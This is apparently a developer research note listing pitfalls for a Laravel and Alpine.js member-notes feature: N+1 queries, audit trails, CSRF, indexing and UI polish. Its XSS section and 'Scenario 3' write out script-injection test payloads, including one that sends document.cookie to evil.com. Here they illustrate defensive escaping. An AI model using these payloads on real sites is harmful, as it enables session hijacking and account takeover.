10 KiB
Domain Pitfalls
Domain: CRM/Admin Member Note Systems Researched: 2026-02-13
Critical Pitfalls
Mistakes that cause rewrites or major issues.
Pitfall 1: N+1 Query Explosion on Member List
What goes wrong: Loading note counts without eager loading causes N+1 queries (1 query per member row).
Why it happens: Developer writes $member->notes->count() in Blade loop, triggering lazy load per iteration.
Consequences:
- Member list page load time grows linearly with pagination size
- Database connection pool exhaustion (15 members = 15 extra queries)
- Poor UX (slow page loads)
Prevention:
// WRONG: Lazy loading in loop
$members = Member::paginate(15);
// In Blade: {{ $member->notes->count() }} = 15 extra queries
// RIGHT: Eager load counts
$members = Member::withCount('notes')->paginate(15);
// In Blade: {{ $member->notes_count }} = 1 query total
Detection: Laravel Debugbar shows 15+ queries on member list page; query log shows repeated SELECT * FROM notes WHERE notable_id = ?.
Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail
What goes wrong: Adding "Edit" or "Delete" buttons on notes destroys compliance value.
Why it happens: Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.
Consequences:
- Legal/compliance risk (no immutable record of observations)
- Loss of trust (admins can rewrite history)
- Violates NPO transparency expectations
- Healthcare standards require append-only audit trails
Prevention:
- Hard constraint in requirements: NO edit/delete operations
- Database triggers to prevent UPDATE/DELETE on notes table (optional)
- UI design: no edit/delete buttons, only "Add Correction" button that creates new note
- Documentation: explain append-only pattern to stakeholders upfront
Detection: Warning signs: user stories mention "edit note," "delete note," or "fix note."
Pitfall 3: XSS Vulnerability via Unescaped Note Content
What goes wrong: User enters <script>alert('XSS')</script> in note content, executes on admin viewing notes.
Why it happens: Developer uses {!! $note->content !!} (unescaped) instead of {{ $note->content }} (escaped) in Blade.
Consequences:
- Security breach (session hijacking, CSRF token theft)
- Malicious admin can inject scripts affecting other admins
- Compliance violation (data integrity)
Prevention:
// Backend: Strip HTML tags on save
$note->content = strip_tags($request->content);
// Blade: Always escape (default)
{{ $note->content }} // ✓ Safe (auto-escapes)
{!! $note->content !!} // ✗ Dangerous (unescaped)
// Alpine.js: Use x-text, not x-html
<div x-text="note.content"></div> // ✓ Safe
<div x-html="note.content"></div> // ✗ Dangerous
Detection: Penetration testing; submit <img src=x onerror=alert(1)> in note form and check if alert fires.
Pitfall 4: CSRF Token Missing on AJAX Requests
What goes wrong: Axios POST requests fail with 419 CSRF error.
Why it happens: Axios not configured to send X-XSRF-TOKEN header, or cookie not set.
Consequences:
- All note creation fails (HTTP 419)
- Poor UX (users can't add notes)
- Frustration (appears broken)
Prevention:
// Verify in resources/js/bootstrap.js:
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header
// Verify in Blade layout:
<meta name="csrf-token" content="{{ csrf_token() }}">
// Laravel automatically sets XSRF-TOKEN cookie on page load
Detection: Browser console shows POST /admin/members/1/notes 419 CSRF token mismatch; Laravel logs show CSRF validation failure.
Moderate Pitfalls
Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)
What goes wrong: Storing author_name: "John Smith" instead of user_id: 42.
Prevention: Use foreign key to users table; join to get name dynamically. Prevents orphaned author names if user renamed.
Pitfall 6: Forgetting to Index notable_id in Polymorphic Table
What goes wrong: Queries like WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member' become slow without composite index.
Prevention: Migration includes $table->index(['notable_type', 'notable_id']) (morphs() helper does this automatically).
Pitfall 7: Using Global Alpine.js Store for Notes
What goes wrong: Alpine.store('notes', {...}) creates shared state; updating notes for Member A affects Member B's UI.
Prevention: Use component-scoped x-data per member row (see ARCHITECTURE.md Pattern 3).
Pitfall 8: Not Handling AJAX Errors Gracefully
What goes wrong: Network failure causes silent failure; user thinks note saved but it didn't.
Prevention: Always show user feedback on error:
catch (error) {
if (error.response?.status === 422) {
alert('備註內容不得為空或超過 1000 字');
} else {
alert('新增備註失敗,請稍後再試');
}
}
Pitfall 9: Loading All Notes on Page Load (Performance)
What goes wrong: Eager loading with('notes') on member list loads ALL note content, bloating response.
Prevention: Use withCount('notes') to load only counts; fetch full notes via AJAX when user expands panel.
Minor Pitfalls
Pitfall 10: Inconsistent Timestamp Formatting
What goes wrong: Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.
Prevention: Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.
Pitfall 11: No Loading State on AJAX Submit
What goes wrong: User clicks "儲存" multiple times during slow network, creates duplicate notes.
Prevention: Disable submit button while isAdding === true:
<button @click="addNote" :disabled="isAdding">
<span x-show="!isAdding">儲存</span>
<span x-show="isAdding">儲存中...</span>
</button>
Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON
What goes wrong: Note content with 「quoted text」 breaks JSON parsing if not properly escaped.
Prevention: Use json_encode() (Laravel does automatically); test with Traditional Chinese punctuation.
Pitfall 13: Missing Empty State Message
What goes wrong: Expanded note panel shows blank space when member has no notes; user confused.
Prevention:
<div x-show="notes.length === 0">
<p class="text-gray-500">尚無備註</p>
</div>
Pitfall 14: Forgetting Dark Mode Styling
What goes wrong: Note panel has white background in dark mode, blinds users.
Prevention: Use Tailwind dark: prefix on all color classes (see ARCHITECTURE.md).
Phase-Specific Warnings
| Phase Topic | Likely Pitfall | Mitigation |
|---|---|---|
| Database Migration | Forgetting notable_type and notable_id index |
Use $table->morphs('notable') (auto-creates index) |
| Model Relationships | Using hasMany instead of morphMany |
Follow polymorphic pattern from start (future-proof) |
| Controller JSON Responses | Returning raw model instead of Resource | Always wrap in new NoteResource($note) for consistency |
| Alpine.js AJAX | Using Fetch API without CSRF token | Use Axios (already configured with CSRF in bootstrap.js) |
| Blade Templates | Unescaping note content | Always use {{ }} not {!! !!} for user input |
| Query Optimization | Lazy loading note counts | Use withCount('notes') in controller query |
| Audit Logging | Forgetting to log note creation | Add AuditLogger::log() call in controller store() method |
| Access Control | Adding new permission instead of reusing middleware | Reuse existing admin middleware (all admin roles share notes) |
| UI/UX | Full page reload after note submit | Use AJAX with Alpine.js (no navigation) |
| Testing | Not testing with Traditional Chinese input | Test with 「」、。!? characters in note content |
Real-World Failure Modes
Scenario 1: The Disappeared Notes
What happened: Developer used onDelete('cascade') on user_id foreign key. When an admin user account was deleted, all their notes disappeared.
Impact: Lost audit trail; compliance violation.
Fix: Use onDelete('restrict') on user_id (prevent user deletion if they authored notes) OR use soft deletes on users table.
Scenario 2: The Slow Member List
What happened: 15-member list took 3 seconds to load due to N+1 queries loading note counts.
Impact: Poor UX; users complained about slowness.
Fix: Changed Member::paginate(15) to Member::withCount('notes')->paginate(15). Load time dropped to 200ms.
Scenario 3: The XSS Attack
What happened: Malicious admin entered <img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)> in note. When chairman viewed notes, session cookie leaked.
Impact: Session hijacking; chairman account compromised.
Fix: Added strip_tags() on backend save, changed Blade to {{ }}, changed Alpine.js to x-text.
Scenario 4: The CSRF 419 Mystery
What happened: All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.
Impact: Feature completely broken; users frustrated.
Fix: Reverted to global axios instance configured in bootstrap.js (includes CSRF token automatically).
Sources
- 10 Essential Audit Trail Best Practices for 2026 - Append-only logging
- Addendums to Progress Notes - Healthcare Compliance - Why no editing
- Laravel Debugbar N+1 Query Detection - Performance monitoring
- Laravel 10.x CSRF Protection - CSRF token handling
- Laravel 10.x Blade Security - XSS prevention
- Alpine.js Security Best Practices - x-text vs x-html
- OWASP XSS Prevention Cheat Sheet - Input sanitization
Pitfalls research for: Member Notes System (會員備註系統) Researched: 2026-02-13